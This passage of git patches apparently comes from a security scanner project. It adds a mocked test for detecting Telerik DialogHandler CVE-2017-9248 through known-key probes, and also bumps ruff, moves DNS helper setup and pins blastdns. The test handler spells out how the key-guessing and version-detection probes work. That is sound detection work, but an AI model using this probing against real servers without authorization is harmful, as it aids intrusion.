["http://127.0.0.1:8888"] + module_name = "telerik" + modules_overrides = ["http", "telerik"] + config_overrides = { + "modules": { + "telerik": { + "probe_dialoghandler_oracle": False, + "try_known_keys": True, + "rau_confirm_version": False, + } + } + } + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/Telerik.Web.UI.WebResource.axd", "query_string": "type=rau"}, + respond_args={"status": 404}, + ) + module_test.set_expect_requests( + expect_args={ + "method": "GET", + "uri": "/App_Master/Telerik.Web.UI.DialogHandler.aspx", + "query_string": "dp=1", + }, + respond_args={ + "response_data": "
Cannot deserialize dialog parameters. Please refresh the editor page.
", + }, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/Telerik.Web.UI.SpellCheckHandler.axd"}, + respond_args={"status": 404}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/ChartImage.axd"}, + respond_args={"status": 404}, + ) + + # Rig a keyed responder: KDF probe returns PBKDF1_MS banner, hash-key probes 500 until we + # see the matching one, enc-key probes 500 until we see the matching one. + module_test.httpserver.expect_request( + "/App_Master/Telerik.Web.UI.DialogHandler.aspx", method="POST" + ).respond_with_handler(_dh_knownkey_handler) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["telerik"].dialoghandler_urls = [ + "App_Master/Telerik.Web.UI.DialogHandler.aspx", + ] + + def check(self, module_test, events): + matches = [ + e + for e in events + if e.type == "FINDING" and e.data.get("name") == "Telerik DialogHandler Known Key (CVE-2017-9248)" + ] + assert matches, "Expected Telerik DialogHandler Known Key finding (CVE-2017-9248)" + # Mock returns a distinct-size body for Version=2014.3.1024, so version detection + # should succeed and the finding should be CRITICAL/CONFIRMED with the version noted. + assert any( + e.data.get("severity") == "CRITICAL" and "Version: [2014.3.1024]" in e.data.get("description", "") + for e in matches + ), "Expected CRITICAL finding with confirmed Version=2014.3.1024" + + +def _dh_knownkey_handler(request): + """ + Model a PBKDF1_MS target with the first badsecrets hash key and encryption key. + Distinguishes probe types by body length and by whether the payload passes + the HMAC-SHA256 test carried by badsecrets' hashkey_probe_generator. + """ + from werkzeug.wrappers import Response + import hmac + import hashlib + import base64 + from urllib.parse import parse_qs + from badsecrets import modules_loaded + + body = request.get_data().decode(errors="replace") + params = parse_qs(body) + probe = params.get("dialogParametersHolder", [""])[0] + + # KDF-mode probe: bare "AAAA" → PBKDF1_MS banner + if probe == "AAAA": + return Response( + "Server Error: Length cannot be less than zero. Parameter name: length.", + status=200, + ) + + hash_cls = modules_loaded["telerik_hashkey"] + enc_cls = modules_loaded["telerik_encryptionkey"] + hash_helper = hash_cls() + enc_helper = enc_cls() + + hash_keys = list(hash_helper.prepare_keylist(include_machinekeys=False)) + enc_keys = list(enc_helper.prepare_keylist(include_machinekeys=False)) + target_hash_key = hash_keys[0] + target_enc_key = enc_keys[0] + + # HMAC-verify the probe against target_hash_key. If it verifies AND the ciphertext prefix + # is exactly base64(known 20-byte test string) that's the hashkey_probe_generator; otherwise + # it's the encryptionkey probe (ciphertext = telerik_encrypt(b64("AAAAAAAAAAAAAAAAAAAA"))). + if len(probe) < 44: + return Response("", status=500) + dp_enc = probe[:-44].encode() + dp_hash = probe[-44:].encode() + try: + h = hmac.new(target_hash_key.encode(), dp_enc, hashlib.sha256) + if base64.b64encode(h.digest()) != dp_hash: + return Response("", status=500) + except Exception: + return Response("", status=500) + + # Hashkey verified. Is this the hashkey probe (unencrypted long dialog-params b64)? + hashkey_test = b"EnableAsyncUpload,False,3,True;" + try: + decoded = base64.b64decode(dp_enc) + except Exception: + decoded = b"" + if decoded.startswith(hashkey_test): + return Response( + "The input data is not a complete block.", + status=200, + ) + + # Otherwise this is the enckey probe OR a version-detection probe. Both are HMAC-signed + # with target_hash_key and encrypted with target_enc_key. Decrypt to distinguish. + try: + ct_bytes = base64.b64decode(dp_enc) + except Exception: + return Response("", status=500) + derived_key, derived_iv = enc_helper.telerik_derivekeys_PBKDF1_MS(target_enc_key) + plaintext = enc_helper.telerik_decrypt(derived_key, derived_iv, ct_bytes) + if plaintext is None: + return Response("", status=500) + # Version-detection probes carry a DialogTypeName section (base64-encoded assembly type + # string). The enckey probe carries a short base64 blob. When the DialogTypeName decodes + # to our "installed" version, return a noticeably longer body so the size-delta test + # trips; other versions return baseline. + if "DialogTypeName" in plaintext: + installed_b64 = base64.b64encode( + b"Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, " + b"Version=2014.3.1024, Culture=neutral, PublicKeyToken=121fae78165ba3d4" + ).decode() + if installed_b64 in plaintext: + return Response("" + "A" * 500 + "", status=200) + return Response("baseline", status=200) + return Response("Index was outside the bounds of the array.", status=200) + + class TestTelerikDialogHandler_includesubdirs(TestTelerik): targets = [f"{HTTPSERVER_URL}/", f"{HTTPSERVER_URL}/temp/"] config_overrides = { @@ -165,8 +470,8 @@ async def setup_before_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) async def setup_after_prep(self, module_test): - module_test.scan.modules["telerik"].telerikVersions = ["2014.2.724", "2014.3.1024", "2015.1.204"] - module_test.scan.modules["telerik"].DialogHandlerUrls = [ + module_test.scan.modules["telerik"].telerik_versions = ["2014.2.724", "2014.3.1024", "2015.1.204"] + module_test.scan.modules["telerik"].dialoghandler_urls = [ "App_Master/Telerik.Web.UI.DialogHandler.aspx", ] @@ -175,4 +480,4 @@ def check(self, module_test, events): finding_count = sum( 1 for e in events if e.type == "FINDING" and "Telerik DialogHandler detected" in e.data["description"] ) - assert finding_count == 2, "Expected 2 FINDING events (root and /temp), got {finding_count}" + assert finding_count == 2, f"Expected 2 FINDING events (root and /temp), got {finding_count}" From c18eb2392d3f3f04b6a30ec8e0e2e525d3e857ef Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 22 Sep 2026 10:27:09 -0400 Subject: [PATCH 093/256] Bump ruff from 0.16.6 to 0.16.8 (#3453) Bumps [ruff](https://github.com/astral-sh/ruff) from 0.16.6 to 0.16.8. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.16.6...0.16.8) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.16.8 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 44 ++++++++++++++++++++++---------------------- 2 files changed, 23 insertions(+), 23 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index edfa4dbba6..96e111f2d4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -82,7 +82,7 @@ dev = [ "pytest-benchmark>=4,<6", "pytest-xdist>=3.6,<4", "baddns~=2.4.1", - "ruff==0.16.6", + "ruff==0.16.8", "maturin>=1.4,<2", ] docs = [ diff --git a/uv.lock b/uv.lock index 9e9e75a371..f068fe9038 100644 --- a/uv.lock +++ b/uv.lock @@ -315,7 +315,7 @@ dev = [ { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, { name = "pytest-xdist", specifier = ">=3.6,<4" }, - { name = "ruff", specifier = "==0.16.6" }, + { name = "ruff", specifier = "==0.16.8" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.54" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -2904,27 +2904,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.16.6" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/a4/7c/6adb35d70e7c027e308274557901c7e00fb3407750faf3620c184ae058cb/ruff-0.16.6.tar.gz", hash = "sha256:dcf8a73d2ff77e99dde91244b4da16feba7f14e6beeb4015dee7c5a909e99050", size = 4921251, upload-time = "2026-09-03T16:57:29.037Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/a4/28/9cc1b79639e284ec103f43c88c644db4eb58cbd0ea1ca11f1193435369ac/ruff-0.16.6-py3-none-linux_armv6l.whl", hash = "sha256:61c368c26bf8e973e5ab14a2772de587bc068ea3f9a277f673380749b4898fb8", size = 10015638, upload-time = "2026-09-03T16:56:40.986Z" }, - { url = "https://files.pythonhosted.org/packages/71/11/627d342ef727ea7794edf74fe23d60a074b02c3acc2e9436684e782286ca/ruff-0.16.6-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ecf4f068e2e123e43a26e9db4e19524cc56563912404e83bbfca375757e45a32", size = 10220762, upload-time = "2026-09-03T16:56:44.681Z" }, - { url = "https://files.pythonhosted.org/packages/43/d9/b75668ce41e4c8d073d18d6d08672ba6906ce45d5c06ea4fdb2e84ce3853/ruff-0.16.6-py3-none-macosx_11_0_arm64.whl", hash = "sha256:99b62ea33baf130f50368798d841f0d95527b6d817bf31817b65dd058f1d314c", size = 9835082, upload-time = "2026-09-03T16:56:47.142Z" }, - { url = "https://files.pythonhosted.org/packages/99/97/123ab10b05cde889c107c20f5a9774955104b5552796a2a8584b089ae8eb/ruff-0.16.6-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fbf89013f2bb3f6835a6038ff658dc8a1b38c98dc8e724b964168ad4e881876", size = 9949304, upload-time = "2026-09-03T16:56:49.813Z" }, - { url = "https://files.pythonhosted.org/packages/3e/58/a4a2c59dd2e5b85929c912d9cac3056eb9ee8c7e75e9b9fe3e109174966b/ruff-0.16.6-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:56a67065e22efa6bc4d498299d3bb06c0c90aace8fac2068b5a12f9dc4d8d51d", size = 9840612, upload-time = "2026-09-03T16:56:52.368Z" }, - { url = "https://files.pythonhosted.org/packages/61/6a/ff8c8626a786c4f49d48ced4a752dadbca65f5263005f9c2416578194694/ruff-0.16.6-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e25cc89174874b176a157e4428d66761c2c0c006654419bf384f967f361ff1b1", size = 10543465, upload-time = "2026-09-03T16:56:55.089Z" }, - { url = "https://files.pythonhosted.org/packages/ad/bb/c47535923365f337b82e28192e4e9eef2176511007cfd99a62fc22df5dad/ruff-0.16.6-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0700580ed5303723cb3c11c2f1d2a8913ce77b7ea86646dddb887f5417a9ba70", size = 11267576, upload-time = "2026-09-03T16:56:57.791Z" }, - { url = "https://files.pythonhosted.org/packages/ba/50/e5119a5212b5cd63b51e1f4b25e7bd636a6668fc069a3160b108ad7e3c16/ruff-0.16.6-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:15f1d0b6e165a6e56567befb6629f8209271311d990bae0f37e6d065035ef5f3", size = 10781993, upload-time = "2026-09-03T16:57:00.666Z" }, - { url = "https://files.pythonhosted.org/packages/8b/98/083d8b4ef3c51a0d19db84367791cbe9f44e4b53343d19dfa83556e1cd9a/ruff-0.16.6-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d72c591a96986ee4268860e2b7235082129ca5e4cb9cbba653a4b57c11893757", size = 10317748, upload-time = "2026-09-03T16:57:03.428Z" }, - { url = "https://files.pythonhosted.org/packages/9a/29/68f7ff2c5ad95f19f00627ac2de95644e25fe47371ea60b2db1fd952315e/ruff-0.16.6-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:65a006baa18f33324325814c864daef03541d51564b98c517610ea756ab7003e", size = 10540096, upload-time = "2026-09-03T16:57:06.182Z" }, - { url = "https://files.pythonhosted.org/packages/c4/f9/79a8f6de85968641d68a7863aeec577551924ef066a990a48ff93167beab/ruff-0.16.6-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:cd02a7bf1a21a8735228a3e8c95a9dc5cf86bd2a52194f4aaae2a5755b4de0f4", size = 10100494, upload-time = "2026-09-03T16:57:09.194Z" }, - { url = "https://files.pythonhosted.org/packages/d9/e8/b81a22d9b90c00b892ccf2fa2ac36fa95de4c13ab85aea3e73795cfe4651/ruff-0.16.6-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:31b36f1e5ad85e0737f09d2be4e512e2e283583c14015da3b9dc07359ac0fc88", size = 9843663, upload-time = "2026-09-03T16:57:12.168Z" }, - { url = "https://files.pythonhosted.org/packages/39/aa/54f516ec5e5a11c4afdceb1c454ebb054ffb96e4f4a1705580b4346abd35/ruff-0.16.6-py3-none-musllinux_1_2_i686.whl", hash = "sha256:61029b4ab4aa723fd3064fab96b1d814492596bf0c792679fffcbde1e1679953", size = 10282461, upload-time = "2026-09-03T16:57:15.077Z" }, - { url = "https://files.pythonhosted.org/packages/52/0b/38d0aa8aa32372b96dc44f97b22e576c4147808271aab7b2cb1e353d4445/ruff-0.16.6-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:9ac8998457832c2061709d900856b7ad271dace0cb41f346588d540162bfa718", size = 10728808, upload-time = "2026-09-03T16:57:17.797Z" }, - { url = "https://files.pythonhosted.org/packages/5e/e5/9e274e24eeb027640ffc7442f21239f16d17f47acec15ae34f32e03a5c79/ruff-0.16.6-py3-none-win32.whl", hash = "sha256:0b87d9d16fcb63e8018423ca1d50b7260f15cb2da33e30db4baad4183a948c25", size = 10049212, upload-time = "2026-09-03T16:57:20.55Z" }, - { url = "https://files.pythonhosted.org/packages/22/31/72472449414223ed1a2da236b992adbb1a2ae59e34794574810f60ce068e/ruff-0.16.6-py3-none-win_amd64.whl", hash = "sha256:10d21c51c3495d8eaea7b703a16592117ea6eb1d649e36335aa965ff1173eb39", size = 10556402, upload-time = "2026-09-03T16:57:23.501Z" }, - { url = "https://files.pythonhosted.org/packages/fc/07/d781f8f8e1ac24bef9f3269cf62ffb1407ca24c3a8f12e5e22874f90528c/ruff-0.16.6-py3-none-win_arm64.whl", hash = "sha256:7a976c79b958f94e50a022a19f0f8c87387448020935ec14fc74331bd0a7f2c5", size = 10412850, upload-time = "2026-09-03T16:57:26.416Z" }, +version = "0.16.8" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ba/78/449cb84790bd5cc3823b2652ee405a4558856e5c4195aee3a16bf7b3eb5d/ruff-0.16.8.tar.gz", hash = "sha256:9247bf92b5f04d825c8639a4fe423ec2e4222acd9222e58412b0dab7e442798b", size = 4938814, upload-time = "2026-09-16T15:54:46.688Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ac/25/6071aabc530e9be7e2c195e8fe3f7aea2735405b6cf447212832d7811831/ruff-0.16.8-py3-none-linux_armv6l.whl", hash = "sha256:6ffbd6d87383c1edf5f6fa890f10200950240d7c1a16052a19a09d3a2307dd38", size = 10048966, upload-time = "2026-09-16T15:53:57.605Z" }, + { url = "https://files.pythonhosted.org/packages/54/98/07f90ecbc74dd5fb5764f11f2bc774d6a7cffef92d2ff5f5b4e9e23c754e/ruff-0.16.8-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:42ed6b878ed61e3acca92f2730a17acff39286944ea82398544696366a6f925e", size = 10165498, upload-time = "2026-09-16T15:54:01.14Z" }, + { url = "https://files.pythonhosted.org/packages/fe/1f/e6a712e3b47cad4a40600134105ed193cb773f618a42eb7ba323cb812cc0/ruff-0.16.8-py3-none-macosx_11_0_arm64.whl", hash = "sha256:7ea781c7f2afba8c6a505ea0fb3f994020249e0c450635f5381286fea6b46170", size = 9830004, upload-time = "2026-09-16T15:54:03.998Z" }, + { url = "https://files.pythonhosted.org/packages/23/f2/311a08776d75d81c7676e20b6b020ae63cbe881fcdc7a8dd64e6e18bdd93/ruff-0.16.8-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8efeae3bbe414a5efefda11a792dfb51ef90ac48d50c4830de2f644caf3e8659", size = 9986558, upload-time = "2026-09-16T15:54:06.804Z" }, + { url = "https://files.pythonhosted.org/packages/f3/ed/37b6cb3d3ba8c73e68ae3eb1d502383beb5aa05a582bb7bb3a922f929f54/ruff-0.16.8-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a79b795469fef7fc6e908b218eed2eb17332afd85031db6480dc864560e69b2", size = 9877332, upload-time = "2026-09-16T15:54:09.552Z" }, + { url = "https://files.pythonhosted.org/packages/22/cc/40873a8f36ad084cc540d55fcca7077264d5b13b24659e9180c176fb2b08/ruff-0.16.8-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3fdc5563cdc50555e6fba39322850860e9267c1b3d12c26a74729d8604c3c812", size = 10507125, upload-time = "2026-09-16T15:54:12.152Z" }, + { url = "https://files.pythonhosted.org/packages/c3/e4/fc91a642b78ccbab6b9477720f3644ae7a10a9bcce69a934679cd64f62bc/ruff-0.16.8-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:34508983c70665578dab88f5223d8e6228307e1135398ca8bfc8b7e9501e282b", size = 11336694, upload-time = "2026-09-16T15:54:15.489Z" }, + { url = "https://files.pythonhosted.org/packages/c2/3d/bbd2a9a600a4e73dc3e7548a249c8d1671273464b55822c6fae50f602dff/ruff-0.16.8-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:644bb578569e0ffc575741232bd385dacdd6fbe123f1a729e7a225f54aa3957f", size = 10774448, upload-time = "2026-09-16T15:54:18.16Z" }, + { url = "https://files.pythonhosted.org/packages/1a/41/d83af9879a7b6e8bf5fe16b1da0b134049d2f5d3afac12defb0897cb84bd/ruff-0.16.8-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15e7d226246961db9235098333caa13063906d3851136b84c2900b82f5daa1df", size = 10323796, upload-time = "2026-09-16T15:54:20.743Z" }, + { url = "https://files.pythonhosted.org/packages/f5/2c/cefd07bfe914b84943ea769ade8d607bd22750b965d3228eefd7cebd15d0/ruff-0.16.8-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a2bf6bc3e9ebdd4449abc6f06cf64b98051a2c61cf94d2fe9596518c881f1a1e", size = 10514115, upload-time = "2026-09-16T15:54:23.497Z" }, + { url = "https://files.pythonhosted.org/packages/f3/9d/76a2e26c79a23be6e6e3664c57bec9e9fc8de155cfb9e4b67ea91b64f9d7/ruff-0.16.8-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:6ca111ba0849539165e9e59d2b442542f3c1e8060ebbdea82494f1ffbccb1e1f", size = 10072582, upload-time = "2026-09-16T15:54:26.185Z" }, + { url = "https://files.pythonhosted.org/packages/2e/d4/f42edddb39668af1a559ceafa3823aedd65633a48dc9768e775485faa2c1/ruff-0.16.8-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:359a1e5b495448ee1e91018064382ebc86f90e8aac2fed222c7d0e4e8df85fd2", size = 9879644, upload-time = "2026-09-16T15:54:29.278Z" }, + { url = "https://files.pythonhosted.org/packages/f8/d4/913e3195d95e0378786c6656945c865f534a3560e29139da4882aff630d1/ruff-0.16.8-py3-none-musllinux_1_2_i686.whl", hash = "sha256:59e8f5681349474110b24d62e93cfda6593f5fa3473446ca3705200cac1a08b9", size = 10231569, upload-time = "2026-09-16T15:54:32.036Z" }, + { url = "https://files.pythonhosted.org/packages/2b/c4/8aa6ea0bdcedbd1bf87397e2fc4ed8406448ea5842f8660bc6e5f163039d/ruff-0.16.8-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:efa3e7a16d1baaa79957888dfdf8be9ef2e44db81cb032af06d76632ab59e773", size = 10663666, upload-time = "2026-09-16T15:54:34.838Z" }, + { url = "https://files.pythonhosted.org/packages/3d/02/7f10ef4700bc223c30a3fdd10631a29830c45524b810a3c7ed947af64591/ruff-0.16.8-py3-none-win32.whl", hash = "sha256:55793ba85c69921e89be061426d91a78652d6e50317c962240922747a4eb713f", size = 10093472, upload-time = "2026-09-16T15:54:37.47Z" }, + { url = "https://files.pythonhosted.org/packages/1e/5d/a509c07d714b6da88f2c518b4637cf6f1d46b074be8f0f1e5fb9ff5126fe/ruff-0.16.8-py3-none-win_amd64.whl", hash = "sha256:a6b85621fd3c81e31fc5f5add09c9c078b430db3595ca632efafdec9e64ebfaa", size = 10586899, upload-time = "2026-09-16T15:54:40.488Z" }, + { url = "https://files.pythonhosted.org/packages/fe/a0/50787329e4f20bf9dc9f6230015d46ec69c51a97ace5bc202dae4755365d/ruff-0.16.8-py3-none-win_arm64.whl", hash = "sha256:d075e820af612102ce217f07cc93e69f9490b10ec13ea85fa87bd03d996cef8a", size = 10386316, upload-time = "2026-09-16T15:54:43.332Z" }, ] [[package]] From 821bd660ee5e034b6f99df3072d18c8321f52315 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 22 Sep 2026 16:36:35 -0400 Subject: [PATCH 094/256] Build the DNS helper during scan prep --- bbot/scanner/scanner.py | 6 ++++++ bbot/test/test_step_1/test_dns.py | 13 +++++++++++-- 2 files changed, 17 insertions(+), 2 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 2379dcd940..b0df3682cb 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -326,6 +326,12 @@ async def _prep(self): Expands async seed types (e.g. ASN → IP ranges), evaluates preset conditions, creates the scan's output folder, loads its modules, and calls their .setup() methods. """ + # build the DNS helper up front: blastdns validates dns.nameservers when the + # client is constructed, and a bad value should abort the scan here rather than + # surface later as a per-event error inside dnsresolve + if not self.config.get("dns", {}).get("disable", False): + self.helpers.dns + # expand async seed types (e.g. ASN -> IP ranges) try: await self.preset.target.generate_children(helpers=self.helpers) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index e9503daec0..2f062d8019 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -993,8 +993,17 @@ def __init__(self, resolvers, config): assert captured["config"].persistent_socket is False # An unusable nameserver fails loudly instead of being silently ignored. - # Validation is blastdns's, so it happens when the client is built on first - # DNS use rather than at config-parse time. + # Validation is blastdns's, so it happens when the client is built. scan = bbot_scanner(config={"dns": {"nameservers": ["not-an-ip"]}}) with pytest.raises(ValidationError, match="dns.nameservers"): _ = scan.helpers.dns.resolvers + + # _prep() builds the client up front, so a bad nameserver aborts the scan there + # instead of surfacing once per event inside dnsresolve + scan = bbot_scanner(config={"dns": {"nameservers": ["not-an-ip"]}}) + with pytest.raises(ValidationError, match="dns.nameservers"): + await scan._prep() + + # a DNS-disabled scan never resolves, so it must not be blocked by that check + scan = bbot_scanner(config={"dns": {"nameservers": ["not-an-ip"], "disable": True}}) + await scan._prep() From b1333c33ac9fdc49de8c76675ec1dc05cff5ba27 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 22 Sep 2026 16:36:35 -0400 Subject: [PATCH 095/256] Pin blastdns 2.0 --- pyproject.toml | 4 ++ uv.lock | 185 ++++++++++++++++++++++++------------------------- 2 files changed, 95 insertions(+), 94 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index b5e44355a4..65493d6cfb 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -96,6 +96,10 @@ docs = [ "pymdown-extensions>=10.20.1,<12", ] +[tool.uv] +# baddns still declares blastdns<1.10; override until it ships a 2.x-compatible release +override-dependencies = ["blastdns>=2.0.0,<3"] + [build-system] requires = ["hatchling"] build-backend = "hatchling.build" diff --git a/uv.lock b/uv.lock index 170b6c7077..0cd49cda7b 100644 --- a/uv.lock +++ b/uv.lock @@ -7,6 +7,9 @@ resolution-markers = [ "python_full_version < '3.11'", ] +[manifest] +overrides = [{ name = "blastdns", specifier = ">=2.0.0,<3" }] + [[package]] name = "annotated-doc" version = "0.0.4" @@ -262,7 +265,7 @@ requires-dist = [ { name = "ansible-runner", specifier = ">=2.3.2,<3" }, { name = "asndb", specifier = ">=1.1.0" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, - { name = "blastdns", specifier = ">=1.9.0,<2" }, + { name = "blastdns", specifier = ">=2.0.0,<3" }, { name = "blasthttp", specifier = ">=0.9.0" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=11.1.0,<12" }, @@ -344,104 +347,98 @@ wheels = [ [[package]] name = "blastdns" -version = "1.9.1" +version = "2.0.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "orjson" }, { name = "pydantic" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/a0/63/5ad427bd5e23780961ba4f183a85d8428d961feabcfaf237347801dd00a0/blastdns-1.9.1.tar.gz", hash = "sha256:e0ea09a9f0199a64aad8a6abe54e0f0de523a12e6f96da71e79af7fea9d12f2f", size = 114292, upload-time = "2026-04-15T20:33:18.661Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/87/89/c606bd3d9e50771e168ad64745e4b9ef28fa511533d225735178eddab5c7/blastdns-1.9.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:fc9a0c8808b90748dadc224e86a21fed75c1ccfa7df682906401790069262816", size = 2449222, upload-time = "2026-04-15T20:30:51.744Z" }, - { url = "https://files.pythonhosted.org/packages/56/97/8e10f45144e7644c6f9e7a9f96eb7e433ef34bc5e6e84ae3e50581ae24d1/blastdns-1.9.1-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:077dfd2eb020ea7d120c18263a3f646bcd8dfe1e0d6d1c1f604d5034892d3404", size = 2321373, upload-time = "2026-04-15T20:31:06.388Z" }, - { url = "https://files.pythonhosted.org/packages/47/80/31f3383453114beeade87d99058e1513dd82dafd67002d09ee9337fa886c/blastdns-1.9.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:eb7833f85bbb8ac246ec55ca5aa9bf622f18d61f6566b4fbc6b3c42e99eae5a7", size = 2546563, upload-time = "2026-04-15T20:31:49.596Z" }, - { url = "https://files.pythonhosted.org/packages/45/76/eefa2fbe0be7781d33baf0b4670bc9d2db6aff0d94aeec1dd8d54c389683/blastdns-1.9.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:911516924ff9652cae0905ba218cd58f03d6e4c4d8972d8c00a3540496a15dad", size = 3519094, upload-time = "2026-04-15T20:31:20.464Z" }, - { url = "https://files.pythonhosted.org/packages/62/57/bbef43cfb51ed61977ac2e9d378d5e82ccf541ae3e4f1d318acd25ec6100/blastdns-1.9.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:693ba5b6820c6ab8cfd37202babeef354a2fca45ce51afcd8ffa912f2a50e82e", size = 2506642, upload-time = "2026-04-15T20:31:35.818Z" }, - { url = "https://files.pythonhosted.org/packages/e2/25/811477849e41c66e85047133ee4af7ecbd320c5b251988fee94c97c426f8/blastdns-1.9.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:06ebb94fbcc130acfc73356b36f135f9ca655a5ced9780c3ff9bee6394c91639", size = 2439602, upload-time = "2026-04-15T20:31:59.906Z" }, - { url = "https://files.pythonhosted.org/packages/a5/9f/c592c221970f278822f2f8bcefc2422eebf6cced23268d3fda7daec24e01/blastdns-1.9.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:99966441bfed1f5b45abf6c736be5d9bc141946ffe7582a1fbfd90386b16d4af", size = 2627363, upload-time = "2026-04-15T20:32:23.893Z" }, - { url = "https://files.pythonhosted.org/packages/74/41/9a3b74481259f76ce863a6d883779766970007952ceedd469a2d903421f7/blastdns-1.9.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:dd587b057bebdf2797cafa69923425312a038a56b4f48e740db1ce9584d4169a", size = 2594515, upload-time = "2026-04-15T20:32:37.097Z" }, - { url = "https://files.pythonhosted.org/packages/a7/41/23f2ab8eda0f31bf85b1f1aaa41dc2205c224f7032ba431434d78cfc0625/blastdns-1.9.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f45a4fb8dc5d84bc94b266230329ca4e14ae1e43a65f45e1ba52c1ab8509964b", size = 2671944, upload-time = "2026-04-15T20:32:50.331Z" }, - { url = "https://files.pythonhosted.org/packages/85/2a/4149667e1245c80cd501bad55bed7cdb42190c3d727eb742566e65f61041/blastdns-1.9.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:98b9ea17704491fd6d1e40a183222439403433ab2046f8e323ed10dcac5ab214", size = 2689118, upload-time = "2026-04-15T20:33:04.593Z" }, - { url = "https://files.pythonhosted.org/packages/8d/04/8af93946ac6a53f981356e13ddd2eda5c8b76ab355054731e8704c2f4a59/blastdns-1.9.1-cp310-cp310-win_amd64.whl", hash = "sha256:8581a729dd9f32cca8edef0fd8c0529be81fe8ca7faef497f1712b5277c0b896", size = 2657117, upload-time = "2026-04-15T20:33:20.027Z" }, - { url = "https://files.pythonhosted.org/packages/5b/d7/b4a757c662a45f82dc32fe916151caef24763f06ddf1d7ac571ff6f0ac51/blastdns-1.9.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:67f52aa4880bed47da178065c8b2935cc41f526a340e0a1dae90f2eb641f99f8", size = 2655899, upload-time = "2026-04-15T20:32:17.262Z" }, - { url = "https://files.pythonhosted.org/packages/98/16/5fbb3f57e2a2da7b1ea954c4a7576a0216b8b6f45714cedc0da92c933183/blastdns-1.9.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9dda8352acba5c9b7e498c61f73f28120e312e441a37d26d8912ddb8c8876b11", size = 2522537, upload-time = "2026-04-15T20:32:10.658Z" }, - { url = 